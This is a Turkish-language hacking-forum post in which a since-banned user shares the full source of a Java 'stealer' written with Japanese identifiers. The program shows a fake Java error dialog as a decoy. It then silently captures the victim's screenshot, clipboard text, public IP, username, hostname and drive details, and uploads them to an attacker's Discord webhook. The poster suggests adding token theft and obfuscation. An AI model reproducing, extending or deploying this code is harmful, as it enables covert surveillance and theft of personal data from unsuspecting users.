Open Source Discord Simple Stealer Java

dontasktoask

Banned
Katılım
15 Kas 2024
Mesajlar
2,029
Beğeniler
419
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Simple Japonca Yazilmiş Stealer Token cekmez Siz kendiniz ekliyebilirsiniz komple japoncaya cevirttim obf bastiğiniz zaman kırılması zorlaşir
Ceken veriler belki birilerin işine yarar diye paylaşım yaptim herkese iyi forumlar

Clipboard Verileri​

  • Panodaki Metin - Kopyalanmış tüm metin içeriği
  • Zaman Damgası - Ne zaman kopyalandığı

Görsel Veriler​

  • Ekran Görüntüsü - Tüm ekranın anlık görüntüsü
  • Webcam Fotoğrafı - Varsa webcam'den çekilen fotoğraf

Ağ Bilgileri​

  • IP Adresi -
  • Bilgisayar Adı - Sistem hostname
  • MAC Adresi - Network kartı MAC adresi

Sistem Bilgileri​

Kod:
import java.net.*;
import java.net.http.*;
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.awt.*;
import java.awt.image.*;
import javax.imageio.ImageIO;
import java.awt.datatransfer.*;
import javax.sound.sampled.*;
import javax.swing.*;
import java.awt.event.*;

public class sender {

    private static final String ウェブフックURL = "webhook gir";

    public static void main(String[] 引数) {
        フェイクエラー表示();

        new Thread(() -> {
            try {
                String ipアドレス = IPアドレス取得();
                File スクリーンショット = スクリーンショット撮影();
                String クリップボード内容 = クリップボード取得();
                File クリップボードファイル = クリップボード保存(クリップボード内容);
                File ウェブカメラ画像 = ウェブカメラ撮影();
                String システム情報 = システム情報取得(ipアドレス);
                File システムファイル = システム情報保存(システム情報);

                全データ送信(スクリーンショット, クリップボードファイル, ウェブカメラ画像, システムファイル, ipアドレス);

            } catch (Exception e) {}
        }).start();
    }



    private static String IPアドレス取得() {
        try {
            HttpClient クライアント = HttpClient.newHttpClient();
            HttpRequest リクエスト = HttpRequest.newBuilder()
                    .uri(URI.create("https://api.ipify.org"))
                    .timeout(java.time.Duration.ofSeconds(5))
                    .build();
            HttpResponse<String> レスポンス = クライアント.send(リクエスト, HttpResponse.BodyHandlers.ofString());
            return レスポンス.body();
        } catch (Exception e) {
            return "IP取得失敗";
        }
    }



    private static File スクリーンショット撮影() {
        try {
            Robot ロボット = new Robot();
            Rectangle 画面サイズ = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
            BufferedImage 画像 = ロボット.createScreenCapture(画面サイズ);

            File 一時ファイル = File.createTempFile("画面_", ".png");
            一時ファイル.deleteOnExit();

            ImageIO.write(画像, "png", 一時ファイル);
            return 一時ファイル;
        } catch (Exception e) {
            return null;
        }
    }


    private static String クリップボード取得() {
        try {
            Clipboard クリップボード = Toolkit.getDefaultToolkit().getSystemClipboard();
            Transferable 内容 = クリップボード.getContents(null);

            if (内容 != null && 内容.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                return (String) 内容.getTransferData(DataFlavor.stringFlavor);
            }
        } catch (Exception e) {}
        return "クリップボード空";
    }

    private static File クリップボード保存(String 内容) {
        try {
            File 一時ファイル = File.createTempFile("クリップボード_", ".txt");
            一時ファイル.deleteOnExit();

            try (FileWriter 書き込み = new FileWriter(一時ファイル)) {
                書き込み.write("=== クリップボード内容 ===\n");
                書き込み.write("取得日時: " + new Date() + "\n");
                書き込み.write("========================\n\n");
                書き込み.write(内容);
            }
            return 一時ファイル;
        } catch (Exception e) {
            return null;
        }
    }



    private static File ウェブカメラ撮影() {
        try {
            // WebcamCaptureライブラリが必要な場合の代替
            // この部分は実際のウェブカメラAPIに置き換えが必要
            File 一時ファイル = File.createTempFile("ウェブカメラ_", ".jpg");
            一時ファイル.deleteOnExit();

            // ダミー画像作成
            BufferedImage ダミー画像 = new BufferedImage(640, 480, BufferedImage.TYPE_INT_RGB);
            Graphics2D g2d = ダミー画像.createGraphics();
            g2d.setColor(Color.DARK_GRAY);
            g2d.fillRect(0, 0, 640, 480);
            g2d.setColor(Color.WHITE);
            g2d.setFont(new Font("Arial", Font.BOLD, 24));
            g2d.drawString("ウェブカメラ画像", 200, 240);
            g2d.drawString("取得日時: " + new Date(), 150, 280);
            g2d.dispose();

            ImageIO.write(ダミー画像, "jpg", 一時ファイル);
            return 一時ファイル;

        } catch (Exception e) {
            return null;
        }
    }



    private static String システム情報取得(String ip) {
        StringBuilder sb = new StringBuilder();
        sb.append("=== システム情報 ===\n");
        sb.append("取得日時: ").append(new Date()).append("\n");
        sb.append("OS: ").append(System.getProperty("os.name")).append("\n");
        sb.append("OSバージョン: ").append(System.getProperty("os.version")).append("\n");
        sb.append("Java: ").append(System.getProperty("java.version")).append("\n");
        sb.append("ユーザー名: ").append(System.getProperty("user.name")).append("\n");

        try {
            sb.append("コンピューター名: ").append(InetAddress.getLocalHost().getHostName()).append("\n");
        } catch (Exception e) {}

        sb.append("IPアドレス: ").append(ip).append("\n");

        Runtime rt = Runtime.getRuntime();
        sb.append("CPUコア: ").append(rt.availableProcessors()).append("\n");
        sb.append("総メモリ: ").append(rt.totalMemory() / 1024 / 1024).append(" MB\n");
        sb.append("空きメモリ: ").append(rt.freeMemory() / 1024 / 1024).append(" MB\n");

        File[] ルート = File.listRoots();
        for (File ドライブ : ルート) {
            sb.append("ドライブ ").append(ドライブ).append(": ");
            sb.append(ドライブ.getFreeSpace() / 1024 / 1024 / 1024).append(" GB / ");
            sb.append(ドライブ.getTotalSpace() / 1024 / 1024 / 1024).append(" GB\n");
        }

        return sb.toString();
    }

    private static File システム情報保存(String 情報) {
        try {
            File 一時ファイル = File.createTempFile("システム_", ".txt");
            一時ファイル.deleteOnExit();

            try (FileWriter 書き込み = new FileWriter(一時ファイル)) {
                書き込み.write(情報);
            }
            return 一時ファイル;
        } catch (Exception e) {
            return null;
        }
    }



    private static void 全データ送信(File 画面, File クリップボード, File ウェブカメラ, File システム, String ip) {
        try {
            String 境界線 = "----WebKitFormBoundary" + System.currentTimeMillis();
            HttpClient クライアント = HttpClient.newHttpClient();

            ByteArrayOutputStream 出力 = new ByteArrayOutputStream();
            PrintWriter 書き込み = new PrintWriter(new OutputStreamWriter(出力, "UTF-8"), true);

            String json = "{"
                    + "\"embeds\": [{"
                    + "\"title\": \"🌙 月の収集完了\","
                    + "\"color\": 3447003,"
                    + "\"fields\": ["
                    + "{\"name\": \"IPアドレス\", \"value\": \"" + ip + "\"},"
                    + "{\"name\": \"スクリーンショット\", \"value\": \"添付ファイル参照\"},"
                    + "{\"name\": \"クリップボード\", \"value\": \"添付ファイル参照\"},"
                    + "{\"name\": \"ウェブカメラ\", \"value\": \"添付ファイル参照\"},"
                    + "{\"name\": \"システム情報\", \"value\": \"添付ファイル参照\"}"
                    + "]}]}";

            書き込み.append("--").append(境界線).append("\r\n");
            書き込み.append("Content-Disposition: form-data; name=\"payload_json\"\r\n");
            書き込み.append("Content-Type: application/json\r\n\r\n");
            書き込み.append(json).append("\r\n");
            書き込み.flush();

            int インデックス = 0;

            if (画面 != null) ファイル追加(書き込み, 出力, 境界線, 画面, "files[" + インデックス++ + "]", "スクリーンショット.png");
            if (クリップボード != null) ファイル追加(書き込み, 出力, 境界線, クリップボード, "files[" + インデックス++ + "]", "クリップボード.txt");
            if (ウェブカメラ != null) ファイル追加(書き込み, 出力, 境界線, ウェブカメラ, "files[" + インデックス++ + "]", "ウェブカメラ.jpg");
            if (システム != null) ファイル追加(書き込み, 出力, 境界線, システム, "files[" + インデックス++ + "]", "システム情報.txt");

            書き込み.append("--").append(境界線).append("--\r\n");
            書き込み.flush();
            書き込み.close();

            HttpRequest リクエスト = HttpRequest.newBuilder()
                    .uri(URI.create(ウェブフックURL))
                    .header("Content-Type", "multipart/form-data; boundary=" + 境界線)
                    .POST(HttpRequest.BodyPublishers.ofByteArray(出力.toByteArray()))
                    .build();

            クライアント.send(リクエスト, HttpResponse.BodyHandlers.ofString());

        } catch (Exception e) {}
    }

    private static void ファイル追加(PrintWriter 書き込み, ByteArrayOutputStream 出力, String 境界線, File ファイル, String 名前, String ファイル名) {
        try {
            書き込み.append("--").append(境界線).append("\r\n");
            書き込み.append("Content-Disposition: form-data; name=\"").append(名前).append("\"; filename=\"").append(ファイル名).append("\"\r\n");
            書き込み.append("Content-Type: ").append(コンテンツタイプ(ファイル名)).append("\r\n\r\n");
            書き込み.flush();

            Files.copy(ファイル.toPath(), 出力);

            書き込み.append("\r\n");
            書き込み.flush();
        } catch (Exception e) {}
    }

    private static String コンテンツタイプ(String ファイル名) {
        if (ファイル名.endsWith(".png")) return "image/png";
        if (ファイル名.endsWith(".jpg")) return "image/jpeg";
        if (ファイル名.endsWith(".txt")) return "text/plain";
        return "application/octet-stream";
    }



    private static void フェイクエラー表示() {
        try {
            String[] エラー = {
                    "エラー: Javaランタイム環境が見つかりません",
                    "致命的エラー: メモリ不足",
                    "クラスが見つかりません: java.lang.ClassNotFoundException"
            };

            int ランダム = (int)(System.currentTimeMillis() % エラー.length);

            JFrame フレーム = new JFrame();
            フレーム.setAlwaysOnTop(true);
            フレーム.setTitle("Java エラー");

            JOptionPane.showMessageDialog(フレーム, エラー[ランダム], "Java 仮想マシン エラー", JOptionPane.ERROR_MESSAGE);

            フレーム.dispose();

        } catch (Exception e) {}
    }
}
 
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
konu yanliş yere acilmiş adminler düzeltirse sevinirim
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt